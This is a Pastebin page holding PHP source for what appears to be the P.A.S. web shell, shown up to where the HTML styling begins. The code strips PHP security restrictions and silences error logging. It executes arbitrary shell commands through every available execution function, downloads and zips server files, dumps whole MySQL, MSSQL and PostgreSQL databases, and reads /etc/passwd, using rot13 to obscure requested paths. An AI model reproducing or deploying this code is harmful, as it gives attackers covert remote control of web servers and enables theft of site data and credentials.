johnburn

Untitled

May 2nd, 2015
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 84.66 KB | None | 0 0
  1. <?php
  2. @ini_set('log_errors_max_len', 0);
  3. @ini_restore('log_errors');
  4. @ini_restore('error_log');
  5. @ini_restore('error_reporting');
  6. @ini_set('log_errors', 0);
  7. @ini_set('error_log', NULL);
  8. @ini_set('error_reporting', NULL);
  9. @error_reporting(0);
  10. @ini_set('max_execution_time', 0);
  11. @set_time_limit(0);
  12. @ignore_user_abort(TRUE);
  13. @ini_set('memory_limit', '1000M');
  14. @ini_set('file_uploads', 1);
  15. @ini_restore('magic_quotes_runtime');
  16. @ini_restore('magic_quotes_sybase');
  17. @ini_set('magic_quotes_gpc', 0);
  18. @ini_set('magic_quotes_runtime', 0);
  19. @ini_set('magic_quotes_sybase', 0);
  20. @set_magic_quotes_runtime(0);
  21. @ini_restore('safe_mode');
  22. ini_restore('open_basedir');
  23. @ini_restore('safe_mode_exec_dir');
  24. @ini_set('safe_mode', 0);
  25. @ini_set('open_basedir', NULL);
  26. @ini_set('safe_mode_exec_dir', '');
  27. @ini_restore('disable_function');
  28. @ini_set('disable_function', '');
  29.  
  30. function ssa($a)
  31.     {
  32.     foreach($a as $k => $v)
  33.     if (is_array($v)) $a[$k] = ssa($v);
  34.       else $a[$k] = stripslashes($v);
  35.     return ($a);
  36.     }
  37.  
  38. function bname($p)
  39.     {
  40.     $p = explode(DIRECTORY_SEPARATOR, $p);
  41.     return end($p);
  42.     }
  43.  
  44. if (@get_magic_quotes_gpc()) $_POST = ssa($_POST);
  45. class zc
  46.  
  47.     {
  48.     var $cr = '';
  49.     var $fc = 0;
  50.     var $co = 0;
  51.     var $msm = 5242880;
  52.     var $msd = 52428800;
  53.     var $ig;
  54.     var $fs;
  55.     function zc($n = 'archive')
  56.         {
  57.         $this->ig = @function_exists('gzopen');
  58.         header('Content-type: application/x-zip');
  59.         header('Content-Disposition: attachment;
  60. filename=' . $n . '_' . $_SERVER['HTTP_HOST'] . '_' . date('Y-m-d_H.i') . '.zip');
  61.         header('Content-Transfer-Encoding: binary');
  62.         header('Last-Modified: ' . @gmdate('D, d M Y H:i:s') . ' GMT');
  63.         }
  64.  
  65.     function add($a)
  66.         {
  67.         foreach($a as $v)
  68.         if (@is_readable($v))
  69.             {
  70.             if (@is_dir($v)) $this->ad($v, $v);
  71.             elseif (@is_file($v)) $this->af($v, $v);
  72.             }
  73.         }
  74.  
  75.     function ad($p, $n)
  76.         {
  77.         if ($d = @opendir($p))
  78.             {
  79.             while (FALSE !== ($v = @readdir($d)))
  80.             if ($v != '.' && $v != '..' && @is_readable($p . DIRECTORY_SEPARATOR . $v))
  81.                 {
  82.                 if (@is_dir($p . DIRECTORY_SEPARATOR . $v)) $this->ad($p . DIRECTORY_SEPARATOR . $v, $n . '/' . $v);
  83.                 elseif (@is_file($p . DIRECTORY_SEPARATOR . $v)) $this->af($p . DIRECTORY_SEPARATOR . $v, $n . '/' . $v);
  84.                 }
  85.  
  86.             @closedir($d);
  87.             }
  88.         }
  89.  
  90.     function af($p, $n)
  91.         {
  92.         $s = @stat($p);
  93.         if (!$s) return;
  94.         $h1 = "\x14\x00\x08\x00" . (($this->ig && ($s[7] <= $this->msd)) ? "\x08" : "\x00") . "\x00" . $this->pd($s[9]);
  95.         $h2 = pack('v', strlen($n)) . "\x00\x00";
  96.         echo "\x50\x4b\x03\x04", $h1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", $h2, $n;
  97.         if ($this->ig && ($s[7] <= $this->msm))
  98.             {
  99.             $b = @file_get_contents($p);
  100.             $crc = pack('V', crc32($b));
  101.             $b = gzdeflate($b);
  102.             $cs = strlen($b);
  103.             echo $b;
  104.             }
  105.         elseif ($this->ig && ($s[7] <= $this->msd))
  106.             {
  107.             $t = @tempnam('/tmp/', '');
  108.             $f = @fopen($p, 'rb');
  109.             $g = @gzopen($t, 'wb');
  110.             while (!feof($f)) @gzwrite($g, fread($f, 1048576));
  111.             @gzclose($g);
  112.             @fclose($f);
  113.             $f = @fopen($t, 'rb');
  114.             @fseek($f, 10);
  115.             while (!feof($f)) echo fread($f, 1048576);
  116.             @fseek($f, -8, SEEK_END);
  117.             $crc = fread($f, 4);
  118.             @fclose($f);
  119.             $cs = @filesize($t) - 10;
  120.             @unlink($t);
  121.             }
  122.           else
  123.             {
  124.             $cs = 0;
  125.             $crc = false;
  126.             $f = @fopen($p, 'rb');
  127.             while (!feof($f))
  128.                 {
  129.                 $b = fread($f, 1048576);
  130.                 $l = strlen($b);
  131.                 $cc = crc32($b);
  132.                 $cs+= $l;
  133.                 echo $b;
  134.                 $b = '';
  135.                 if ($crc) $crc = $this->crc32c($crc, $cc, $l);
  136.                   else $crc = $cc;
  137.                 }
  138.  
  139.             @fclose($f);
  140.             $crc = pack('V', $crc);
  141.             }
  142.  
  143.         $h3 = $crc . pack('V', $cs) . pack('V', $s[7]);
  144.         echo "\x50\x4b\x07\x08", $h3;
  145.         $this->cr.= "\x50\x4b\x01\x02\x00\x00" . $h1 . $h3 . $h2 . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->co) . $n;
  146.         $this->co+= $cs + 46 + strlen($n);
  147.         ++$this->fc;
  148.         }
  149.  
  150.     function of($n)
  151.         {
  152.         $this->fs['n'] = $n;
  153.         $h = "\x14\x00\x08\x00\x00\x00" . $this->pd(time());
  154.         $this->cr.= "\x50\x4b\x01\x02\x00\x00" . $h;
  155.         $this->fs['h2'] = pack('v', strlen($n)) . "\x00\x00";
  156.         echo "\x50\x4b\x03\x04", $h, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", $this->fs['h2'], $n;
  157.         $this->fs['cs'] = 0;
  158.         $this->fs['crc'] = false;
  159.         }
  160.  
  161.     function wf($d)
  162.         {
  163.         $l = strlen($d);
  164.         $cc = crc32($d);
  165.         $this->fs['cs']+= $l;
  166.         if ($this->fs['crc']) $this->fs['crc'] = $this->crc32c($this->fs['crc'], $cc, $l);
  167.           else $this->fs['crc'] = $cc;
  168.         echo $d;
  169.         }
  170.  
  171.     function cf()
  172.         {
  173.         $h = pack('V', $this->fs['crc']) . pack('V', $this->fs['cs']) . pack('V', $this->fs['cs']);
  174.         echo "\x50\x4b\x07\x08", $h;
  175.         $this->cr.= $h . $this->fs['h2'] . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->co) . $this->fs['n'];
  176.         $this->co+= $this->fs['cs'] + 46 + strlen($this->fs['n']);
  177.         $this->fs = array();
  178.         ++$this->fc;
  179.         }
  180.  
  181.     function pd($t)
  182.         {
  183.         $t = getdate($t);
  184.         return pack('v', ($t['hours'] << 11) + ($t['minutes'] << 5) + $t['seconds'] / 2) . pack('v', (($t['year'] - 1980) << 9) + ($t['mon'] << 5) + $t['mday']);
  185.         }
  186.  
  187.     function cl()
  188.         {
  189.         $c = "Archive created by P.A.S. v.3.0.10\nHost: : " . $_SERVER['HTTP_HOST'] . "\nDate : " . date('d-m-Y');
  190.         $this->fc = pack('v', $this->fc);
  191.         echo $this->cr, "\x50\x4b\x05\x06\x00\x00\x00\x00", $this->fc, $this->fc, pack('V', strlen($this->cr)) , pack('V', $this->co) , pack('v', strlen($c)) , $c;
  192.         }
  193.  
  194.     function crc32c($c1, $c2, $l)
  195.         {
  196.         $o[0] = 0xedb88320;
  197.         $r = 1;
  198.         for ($i = 1; $i < 32; ++$i)
  199.             {
  200.             $o[$i] = $r;
  201.             $r <<= 1;
  202.             }
  203.  
  204.         $this->cgms($e, $o);
  205.         $this->cgms($o, $e);
  206.         do
  207.             {
  208.             $this->cgms($e, $o);
  209.             if ($l & 1) $c1 = $this->cgmt($e, $c1);
  210.             $l >>= 1;
  211.             if ($l == 0) break;
  212.  
  213.             $this->cgms($o, $e);
  214.             if ($l & 1) $c1 = $this->cgmt($o, $c1);
  215.             $l >>= 1;
  216.             }
  217.  
  218.         while ($l != 0);
  219.         return $c1 ^ $c2;
  220.         }
  221.  
  222.     function cgms(&$s, &$m)
  223.         {
  224.         for ($i = 0; $i < 32; ++$i) $s[$i] = $this->cgmt($m, $m[$i]);
  225.         }
  226.  
  227.     function cgmt(&$m, $v)
  228.         {
  229.         $s = $i = 0;
  230.         while ($v)
  231.             {
  232.             if ($v & 1) $s^= $m[$i];
  233.             $v = ($v >> 1) & 0x7FFFFFFF;
  234.             ++$i;
  235.             }
  236.  
  237.         return $s;
  238.         }
  239.     }
  240.  
  241. class sc
  242.  
  243.     {
  244.     var $tp = '';
  245.     var $cl = NULL;
  246.     var $cs = '';
  247.     var $rs = NULL;
  248.     var $sv = NULL;
  249.     function sc($tp)
  250.         {
  251.         $this->tp = $tp;
  252.         }
  253.  
  254.     function cn($ha, $hp, $un, $up)
  255.         {
  256.         switch ($this->tp)
  257.             {
  258.         case 'mysql':
  259.             $p = empty($hp) ? '' : ':' . $hp;
  260.             if ($this->cl = @mysql_connect($ha . $p, $un, $up, TRUE))
  261.                 {
  262.                 @mysql_query('SET NAMES utf8', $this->cl);
  263.                 $this->sv = @mysql_get_server_info($this->cl);
  264.                 }
  265.  
  266.             break;
  267.  
  268.         case 'mssql':
  269.             $p = empty($hp) ? '' : ',' . $hp;
  270.             $this->cl = @mssql_connect($ha . $p, $un, $up, TRUE);
  271.             break;
  272.  
  273.         case 'pg':
  274.             $p = empty($hp) ? '' : ' port=' . $hp;
  275.             $this->cs = $cs = 'host=' . $ha . $p . ' user=' . $un . ' password=' . $up;
  276.             $this->cl = @pg_connect($cs);
  277.             break;
  278.             }
  279.  
  280.         if ($this->cl) return TRUE;
  281.           else return FALSE;
  282.         }
  283.  
  284.     function sd($n)
  285.         {
  286.         switch ($this->tp)
  287.             {
  288.         case 'mysql':
  289.             @mysql_select_db($n, $this->cl);
  290.             break;
  291.  
  292.         case 'mssql':
  293.             @mssql_select_db($n, $this->cl);
  294.             break;
  295.  
  296.         case 'pg':
  297.             @pg_close($this->cl);
  298.             $this->cl = @pg_connect($this->cs . ' dbname=' . $n);
  299.             break;
  300.             }
  301.         }
  302.  
  303.     function q($q)
  304.         {
  305.         switch ($this->tp)
  306.             {
  307.         case 'mysql':
  308.             $this->rs = @mysql_query($q, $this->cl);
  309.             break;
  310.  
  311.         case 'mssql':
  312.             $this->rs = @mssql_query($q, $this->cl);
  313.             break;
  314.  
  315.         case 'pg':
  316.             $this->rs = @pg_query($this->cl, $q);
  317.             break;
  318.             }
  319.  
  320.         return $this->rs;
  321.         }
  322.  
  323.     function ql($d, $t, $p, $l)
  324.         {
  325.         switch ($this->tp)
  326.             {
  327.         case 'mysql':
  328.             $p = ($p - 1) * $l;
  329.             $q = 'SELECT * FROM `' . $d . '`.`' . $t . '` LIMIT ' . $p . ',' . $l;
  330.             break;
  331.  
  332.         case 'mssql':
  333.             $t = explode('.', $t, 2);
  334.             $p = $p * $l;
  335.             $q = 'SELECT TOP ' . $l . ' * FROM (SELECT TOP ' . $p . ' * FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . '] ORDER BY 1 DESC)T ORDER BY 1 ASC';
  336.             break;
  337.  
  338.         case 'pg':
  339.             $p = ($p - 1) * $l;
  340.             $t = explode('.', $t, 2);
  341.             $q = 'SELECT * FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '" LIMIT ' . $l . ' OFFSET ' . $p;
  342.             break;
  343.             }
  344.  
  345.         return $q;
  346.         }
  347.  
  348.     function ld()
  349.         {
  350.         switch ($this->tp)
  351.             {
  352.         case 'mysql':
  353.             $this->rs = @function_exists('mysql_list_dbs') ? @mysql_list_dbs($this->cl) : @mysql_query('SHOW DATABASES', $this->cl);
  354.             if (@mysql_num_rows($this->rs) == 0 && $this->sv[0] > '4') $this->rs = @mysql_query('SELECT schema_name FROM information_schema.schemata', $this->cl);
  355.             break;
  356.  
  357.         case 'mssql':
  358.             if ((!$this->rs = @mssql_query('SELECT name FROM sys.databases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
  359.             if ((!$this->rs = @mssql_query('SELECT name FROM sys.sysdatabases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
  360.             if ((!$this->rs = @mssql_query('EXEC sys.sp_databases', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
  361.             if ((!$this->rs = @mssql_query('EXEC sys.sp_helpdb', $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0) $this->rs = @mssql_query('EXEC sys.sp_oledb_database', $this->cl);
  362.             break;
  363.  
  364.         case 'pg':
  365.             if ((!$this->rs = @pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate')) || @pg_num_rows($this->rs) == 0) $this->rs = @pg_query($this->cl, 'SELECT datname FROM pg_catalog.pg_stat_database WHERE numbackends!=0');
  366.             break;
  367.             }
  368.  
  369.         return $this->rs;
  370.         }
  371.  
  372.     function lt($n)
  373.         {
  374.         switch ($this->tp)
  375.             {
  376.         case 'mysql':
  377.             $this->rs = @function_exists('mysql_list_tables') ? @mysql_list_tables($n, $this->cl) : @mysql_query('SHOW TABLES FROM `' . $n . '`', $this->cl);
  378.             if (@mysql_num_rows($this->rs) == 0 && $this->sv[0] > '4') $this->rs = @mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='" . $n . "'", $this->cl);
  379.             break;
  380.  
  381.         case 'mssql':
  382.             if ((!$this->rs = @mssql_query("SELECT table_schema+'.'+table_name FROM [" . $n . "].[information_schema].[tables] ORDER BY table_schema", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
  383.             if ((!$this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[tables] ORDER BY schema_id", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0)
  384.             if ((!$this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[objects] WHERE type='U' ORDER BY schema_id", $this->cl)) || @mssql_num_rows($this->rs, $this->cl) == 0) $this->rs = @mssql_query("SELECT schema_name(schema_id)+'.'+name FROM [" . $n . "].[sys].[all_objects] WHERE type='U' ORDER BY schema_id", $this->cl);
  385.             break;
  386.  
  387.         case 'pg':
  388.             @pg_close($this->cl);
  389.             $this->cl = @pg_connect($this->cs . ' dbname=' . $n);
  390.             if ((!$this->rs = @pg_query($this->cl, 'SELECT table_schema||\'.\'||table_name FROM "' . $n . '"."information_schema"."tables" WHERE table_schema!=\'pg_catalog\' AND table_schema!=\'information_schema\' ORDER BY table_schema')) || @pg_num_rows($this->rs) == 0)
  391.             if ((!$this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||tablename FROM "' . $n . '"."pg_catalog"."pg_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs) == 0)
  392.             if ((!$this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "' . $n . '"."pg_catalog"."pg_stat_all_tables" WHERE schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname')) || @pg_num_rows($this->rs) == 0) $this->rs = @pg_query($this->cl, 'SELECT schemaname||\'.\'||relname FROM "' . $n . '"."pg_catalog"."pg_statio_all_tables" where schemaname!=\'pg_catalog\' AND schemaname!=\'pg_toast\' AND schemaname!=\'information_schema\' ORDER BY schemaname');
  393.             break;
  394.             }
  395.  
  396.         return $this->rs;
  397.         }
  398.  
  399.     function ts($d, $t)
  400.         {
  401.         switch ($this->tp)
  402.             {
  403.         case 'mysql':
  404.             if ($this->sv[0] > '4' && $r = @mysql_query("SELECT table_rows FROM information_schema.tables WHERE table_schema='" . $d . "' AND table_name='" . $t . "'", $this->cl)) return (int)@mysql_result($r, 0, 0);
  405.               else
  406.                 {
  407.                 $r = @mysql_query('SELECT COUNT(*) FROM `' . $d . '`.`' . $t . '`', $this->cl);
  408.                 return (int)@mysql_result($r, 0, 0);
  409.                 }
  410.  
  411.             break;
  412.  
  413.         case 'mssql':
  414.             $t = explode('.', $t, 2);
  415.             $r = @mssql_query('SELECT COUNT(*) FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . ']', $this->cl);
  416.             return (int)@mssql_result($r, 0, 0);
  417.             break;
  418.  
  419.         case 'pg':
  420.             $t = explode('.', $t, 2);
  421.             if (!$r = @pg_query($this->cl, 'SELECT n_live_tup FROM "' . $d . '"."pg_catalog"."pg_stat_all_tables" WHERE schemaname=\'' . $t[0] . '\' AND relname=\'' . $t[1] . '\'')) $r = @pg_query($this->cl, 'SELECT COUNT(*) FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '"');
  422.             return (int)@pg_fetch_result($r, 0, 0);
  423.             break;
  424.             }
  425.         }
  426.  
  427.     function fv($o, $r = NULL)
  428.         {
  429.         if ($r == NULL) $r = $this->rs;
  430.         if ($this->tp == 'pg') $f = 'pg_fetch_result';
  431.           else $f = $this->tp . '_result';
  432.         return @$f($r, $o, 0);
  433.         }
  434.  
  435.     function fn($o)
  436.         {
  437.         $f = $this->tp . '_field_name';
  438.         return @$f($this->rs, $o);
  439.         }
  440.  
  441.     function fr()
  442.         {
  443.         $f = $this->tp . '_fetch_row';
  444.         return @$f($r = $this->rs);
  445.         }
  446.  
  447.     function e()
  448.         {
  449.         switch ($this->tp)
  450.             {
  451.         case 'mysql':
  452.             return @mysql_error($this->cl);
  453.             break;
  454.  
  455.         case 'mssql':
  456.             return @mssql_get_last_message();
  457.             break;
  458.  
  459.         case 'pg':
  460.             return @pg_last_error($this->cl);
  461.             break;
  462.             }
  463.         }
  464.  
  465.     function dt($d, $t, &$f)
  466.         {
  467.         switch ($this->tp)
  468.             {
  469.         case 'mysql':
  470.             $f->wf("\n-- \n-- `" . $d . "`.`" . $t . "`\n-- \nDROP TABLE IF EXISTS `" . $t . "`;
  471. \n");
  472.             @mysql_query('SET SQL_QUOTE_SHOW_CREATE=1', $this->cl);
  473.             $q = @mysql_query('SHOW CREATE TABLE `' . $d . '`.`' . $t . '`', $this->cl);
  474.             $q = @mysql_fetch_row($q);
  475.             $f->wf(preg_replace('/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i', '/*!40101 \\1 */', $q[1]) . ";
  476. \n\n");
  477.             $q = @mysql_unbuffered_query('SELECT * FROM `' . $d . '`.`' . $t . '`', $this->cl);
  478.             if ($r = @mysql_fetch_row($q))
  479.                 {
  480.                 $f->wf('INSERT INTO `' . $t . '` VALUES ');
  481.                 $r = array_map('mysql_real_escape_string', $r);
  482.                 $f->wf("\n('" . implode("', '", $r) . "')");
  483.                 while ($r = @mysql_fetch_row($q))
  484.                     {
  485.                     $r = array_map('mysql_real_escape_string', $r);
  486.                     $f->wf(",\n('" . implode("', '", $r) . "')");
  487.                     }
  488.  
  489.                 $f->wf(";
  490. \n");
  491.                 }
  492.  
  493.             break;
  494.  
  495.         case 'mssql':
  496.             $t = explode('.', $t, 2);
  497.             $f->wf("\n-- \n-- " . $t[0] . "." . $t[1] . "\n-- \nIF EXISTS(SELECT table_name FROM information_schema.tables WHERE table_name='" . $t[1] . "') DROP TABLE [" . $t[1] . "];
  498. \nCREATE TABLE [" . $t[1] . "] ( ");
  499.             $q = "SELECT '['+column_name+']', '['+data_type+']', case when character_maximum_length IS NOT NULL then '('+ cast( character_maximum_length as varchar(255)) +')' end, case when is_nullable='no' then 'NOT NULL' end, case when column_default IS NOT NULL then 'DEFAULT '+column_default end FROM " . $d . ".information_schema.columns WHERE table_schema='" . $t[0] . "' AND table_name='" . $t[1] . "'";
  500.             $q = @mssql_query($q, $this->cl);
  501.             $c = array();
  502.             while ($r = @mssql_fetch_row($q)) $c[] = implode(' ', $r);
  503.             $f->wf(implode(', ', $c) . ");
  504. \n\n");
  505.             $q = @mssql_query('SELECT * FROM [' . $d . '].[' . $t[0] . '].[' . $t[1] . ']', $this->cl);
  506.             if ($r = @mssql_fetch_row($q))
  507.                 {
  508.                 $f->wf('INSERT INTO [' . $t[1] . '] VALUES ');
  509.                 $r = array_map('addslashes', $r);
  510.                 $f->wf("\n('" . implode("', '", $r) . "')");
  511.                 while ($r = @mssql_fetch_row($q))
  512.                     {
  513.                     $r = array_map('addslashes', $r);
  514.                     $f->wf(",\n('" . implode("', '", $r) . "')");
  515.                     }
  516.  
  517.                 $f->wf(";
  518. \n");
  519.                 }
  520.  
  521.             break;
  522.  
  523.         case 'pg':
  524.             @pg_close($this->cl);
  525.             $this->cl = @pg_connect($this->cs . ' dbname=' . $d);
  526.             $t = explode('.', $t, 2);
  527.             $f->wf("\n-- \n-- " . $t[0] . "." . $t[1] . "\n-- \n" . 'DROP TABLE IF EXISTS "' . $t[1] . '";
  528. ' . "\n" . 'CREATE TABLE "' . $t[1] . '" ( ');
  529.             $q = "SELECT '\"'||a.attname||'\"', format_type(a.atttypid, a.atttypmod), CASE WHEN a.attnotnull then 'NOT NULL' end FROM pg_class c, pg_attribute a WHERE c.relname='" . $t[1] . "' AND not a.attisdropped AND a.attnum>0 AND a.attrelid=c.oid AND c.relnamespace=(select oid from pg_namespace where nspname='" . $t[0] . "')";
  530.             $q = @pg_query($this->cl, $q);
  531.             $c = array();
  532.             while ($r = @pg_fetch_row($q)) $c[] = implode(' ', $r);
  533.             $f->wf(implode(', ', $c) . ");
  534. \n\n");
  535.             $q = @pg_query($this->cl, 'SELECT * FROM "' . $d . '"."' . $t[0] . '"."' . $t[1] . '"');
  536.             if ($r = @pg_fetch_row($q))
  537.                 {
  538.                 $f->wf('INSERT INTO "' . $t[1] . '" VALUES ');
  539.                 $r = array_map('pg_escape_string', $r);
  540.                 $f->wf("\n('" . implode("', '", $r) . "')");
  541.                 while ($r = @pg_fetch_row($q))
  542.                     {
  543.                     $r = array_map('pg_escape_string', $r);
  544.                     $f->wf(",\n('" . implode("', '", $r) . "')");
  545.                     }
  546.  
  547.                 $f->wf(";
  548. \n");
  549.                 }
  550.  
  551.             break;
  552.             }
  553.         }
  554.  
  555.     function cl()
  556.         {
  557.         $f = $this->tp . '_close';
  558.         @$f($this->cl);
  559.         }
  560.     }
  561.  
  562. if (isset($_POST['fdw']) || isset($_POST['fdwa']))
  563.     {
  564.     @session_write_close();
  565.     if (isset($_POST['fdwa']) && !empty($_POST['fc']))
  566.         {
  567.         $_POST['fc'] = array_map('str_rot13', $_POST['fc']);
  568.         $z = new zc();
  569.         $z->add($_POST['fc']);
  570.         $z->cl();
  571.         die();
  572.         }
  573.     elseif (isset($_POST['fdw']))
  574.         {
  575.         $_POST['fdw'] = str_rot13($_POST['fdw']);
  576.         header('Content-type: multipart/octet-stream');
  577.         header('Content-Disposition: attachment;
  578. filename=' . bname($_POST['fdw']));
  579.         header('Content-Transfer-Encoding: binary');
  580.         header('Accept-Ranges: bytes');
  581.         header('Content-Length: ' . @filesize($_POST['fdw']));
  582.         header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  583.         @readfile($_POST['fdw']);
  584.         die();
  585.         }
  586.     }
  587.  
  588. if (isset($_POST['sdd']) && !empty($_POST['cd']))
  589.     {
  590.     $z = new zc('SQL_dump');
  591.     @session_start();
  592.     $c = $_SESSION['DB'];
  593.     @session_write_close();
  594.     $s = new sc($c['tp']);
  595.     if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up']))
  596.         {
  597.         foreach($_POST['cd'] as $v)
  598.             {
  599.             $z->of($v . '.sql');
  600.             $z->wf('-- -------------------------------- --' . "\n" . '-- [  SQL Dump created by P.A.S.  ] --' . "\n" . '-- [' . str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH) . '] --' . "\n" . '-- [          ' . date('Y/m/d') . '          ] --' . "\n" . '-- -------------------------------- --' . "\n");
  601.             $s->lt($v);
  602.             $i = 0;
  603.             while ($t = $s->fv($i++)) $s->dt($v, $t, $z);
  604.             $z->cf();
  605.             }
  606.  
  607.         $s->cl();
  608.         }
  609.  
  610.     $z->cl();
  611.     die();
  612.     }
  613.  
  614. if (isset($_POST['sdt']) && !empty($_POST['ct']))
  615.     {
  616.     class ce
  617.  
  618.         {
  619.         function me()
  620.             {
  621.             }
  622.  
  623.         function wf($s)
  624.             {
  625.             echo $s;
  626.             }
  627.         }
  628.  
  629.     $e = new ce();
  630.     @session_start();
  631.     $c = $_SESSION['DB'];
  632.     @session_write_close();
  633.     header('Content-type: multipart/octet-stream');
  634.     header('Content-Disposition: attachment;
  635. filename=' . $_SERVER['HTTP_HOST'] . '_[' . $c['db'] . ']_' . date('Y-m-d_H.i') . '.sql');
  636.     header('Content-Transfer-Encoding: binary');
  637.     header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  638.     echo '-- -------------------------------- --', "\n", '-- [  SQL Dump created by P.A.S.  ] --', "\n", '-- [', str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH) , '] --', "\n", '-- [          ', date('Y/m/d') , '          ] --', "\n", '-- -------------------------------- --', "\n";
  639.     $s = new sc($c['tp']);
  640.     if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up']))
  641.         {
  642.         foreach($_POST['ct'] as $v) $s->dt($c['db'], $v, $e);
  643.         $s->cl();
  644.         }
  645.  
  646.     die();
  647.     }
  648.  
  649. function mt()
  650.     {
  651.     list($usec, $sec) = explode(' ', microtime());
  652.     return ((float)$usec + (float)$sec);
  653.     }
  654.  
  655. define('ST', mt());
  656. define('IW', strtolower(substr(PHP_OS, 0, 3)) == 'win');
  657. @session_start();
  658.  
  659. if (!empty($_POST['cs'])) $_SESSION['CS'] = $_POST['cs'];
  660. elseif (empty($_SESSION['CS'])) $_SESSION['CS'] = 'UTF-8';
  661.  
  662. if (empty($_SESSION['CP']) || isset($_POST['gh'])) $_SESSION['CP'] = @dirname($_SERVER['SCRIPT_FILENAME']);
  663. elseif (isset($_POST['fp']) || isset($_POST['fpr']))
  664.     {
  665.     if (isset($_POST['fpr'])) $_POST['fp'] = str_rot13($_POST['fpr']);
  666.     if (@is_file($_POST['fp']))
  667.         {
  668.         $_SESSION['CP'] = @dirname($_POST['fp']);
  669.         $_POST['fef'] = $_POST['fp'];
  670.         }
  671.     elseif (@is_dir($_POST['fp'])) $_SESSION['CP'] = $_POST['fp'];
  672.     $_SESSION['CP'] = @realpath($_SESSION['CP']);
  673.     }
  674.  
  675. if (IW) $_SESSION['CP'] = str_replace('\\', '/', $_SESSION['CP']);
  676.  
  677. if (substr($_SESSION['CP'], -1) != '/') $_SESSION['CP'].= '/';
  678. @chdir($_SESSION['CP']);
  679. define('PE', @function_exists('posix_geteuid'));
  680. $ui = array();
  681. $gi = array();
  682.  
  683. if (!PE && !IW)
  684.     {
  685.     if (@is_readable('/etc/passwd'))
  686.         {
  687.         $a = file('/etc/passwd');
  688.         foreach($a as $v)
  689.             {
  690.             $v = explode(':', $v);
  691.             $ui[$v[2]] = $v[0];
  692.             }
  693.         }
  694.  
  695.     if (@is_readable('/etc/group'))
  696.         {
  697.         $a = file('/etc/group');
  698.         foreach($a as $v)
  699.             {
  700.             $v = explode(':', $v);
  701.             $gi[$v[2]] = $v[0];
  702.             }
  703.         }
  704.     }
  705.  
  706. function sm($m, $t)
  707.     {
  708.     echo '<fieldset class="' . $t . '">', htmlspecialchars($m) , '</fieldset>';
  709.     }
  710.  
  711. function ctf($c)
  712.     {
  713.     $t = @tempnam('/tmp/', '');
  714.     $f = @fopen($t, 'w');
  715.     @fwrite($f, $c);
  716.     @fclose($f);
  717.     return $t;
  718.     }
  719.  
  720. function se($c)
  721.     {
  722.     @ob_start();
  723.     if ($r = @`echo 1`) echo @`$c`;
  724.     elseif (@function_exists('exec'))
  725.         {
  726.         @exec($c, $r);
  727.         echo @implode("\n", $r);
  728.         }
  729.     elseif (@function_exists('system')) @system($c);
  730.     elseif (@function_exists('shell_exec')) echo @shell_exec($c);
  731.     elseif (@function_exists('passthru')) @passthru($c);
  732.     elseif (@is_resource($f = @popen($c, 'r')))
  733.         {
  734.         while (!feof($f)) echo fread($f, 1024);
  735.         @pclose($f);
  736.         }
  737.     elseif (@is_resource($f = @proc_open($c, array(
  738.         array(
  739.             'pipe',
  740.             'r'
  741.         ) ,
  742.         array(
  743.             'pipe',
  744.             'w'
  745.         ) ,
  746.         array(
  747.             'pipe',
  748.             'a'
  749.         )
  750.     ) , $p)))
  751.         {
  752.         echo @stream_get_contents($p[1]);
  753.         @proc_close($f);
  754.         }
  755.     elseif (@function_exists('pcntl_exec')) @pcntl_exec('/bin/sh', array(
  756.         '-c',
  757.         $c
  758.     ));
  759.     elseif (@function_exists('expect_popen') && is_resource($f = @expect_popen($c)))
  760.         {
  761.         while (!feof($f)) echo fread($f, 1024);
  762.         @fclose($f);
  763.         }
  764.     elseif (@is_resource($f = @fopen('expect://' . $c, 'r')))
  765.         {
  766.         while (!feof($f)) echo fread($f, 1024);
  767.         @fclose($f);
  768.         }
  769.  
  770.     echo htmlspecialchars(@ob_get_clean());
  771.     }
  772.  
  773. @header("Content-Type: text/html;
  774. charset=" . $_SESSION['CS']);
  775. ?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"/><html> <head> <meta http-equiv="Content-Type" content="text/html;
  776.  charset=<?php
  777. echo $_SESSION['CS'];
  778. ?>"/> <title><?php
  779. echo htmlspecialchars($_SERVER['SERVER_NAME']);
  780. ?></title> <style> html {margin:0;
  781.  padding:0;
  782.  background-color:#4a4a4a}body {margin:0px auto;
  783.  padding:0;
  784.  width:1000px;
  785.  font:normal 11px Verdana;
